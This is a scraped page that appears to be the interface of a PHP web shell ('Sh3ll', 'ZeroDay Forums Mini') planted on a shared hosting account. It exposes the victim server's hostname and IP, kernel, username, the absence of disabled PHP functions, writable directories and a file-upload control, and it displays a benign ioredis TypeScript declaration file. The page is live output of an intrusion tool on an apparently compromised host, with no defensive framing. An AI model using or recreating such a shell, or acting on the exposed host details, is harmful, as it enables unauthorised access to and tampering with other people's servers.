Sh3ll
OdayForums


Server : Apache
System : Linux 145.162.205.92.host.secureserver.net 5.14.0-611.45.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Apr 1 05:56:53 EDT 2026 x86_64
User : tradze ( 1001)
PHP Version : 8.1.34
Disable Function : NONE
Directory :  /home/tradze/public_html/node-socket/node_modules/ioredis/built/utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/tradze/public_html/node-socket/node_modules/ioredis/built/utils/Commander.d.ts
import Command from "../Command";
import { WriteableStream } from "../types";
import RedisCommander, { ClientContext } from "./RedisCommander";
export interface CommanderOptions {
    keyPrefix?: string;
    showFriendlyErrorStack?: boolean;
}
declare class Commander<Context extends ClientContext = {
    type: "default";
}> {
    options: CommanderOptions;
    /**
     * @ignore
     */
    scriptsSet: {};
    /**
     * @ignore
     */
    addedBuiltinSet: Set<string>;
    /**
     * Return supported builtin commands
     */
    getBuiltinCommands(): string[];
    /**
     * Create a builtin command
     */
    createBuiltinCommand(commandName: string): {
        string: any;
        buffer: any;
    };
    /**
     * Create add builtin command
     */
    addBuiltinCommand(commandName: string): void;
    /**
     * Define a custom command using lua script
     */
    defineCommand(name: string, definition: {
        lua: string;
        numberOfKeys?: number;
        readOnly?: boolean;
    }): void;
    /**
     * @ignore
     */
    sendCommand(command: Command, stream?: WriteableStream, node?: unknown): unknown;
}
interface Commander<Context> extends RedisCommander<Context> {
}
export default Commander;

ZeroDay Forums Mini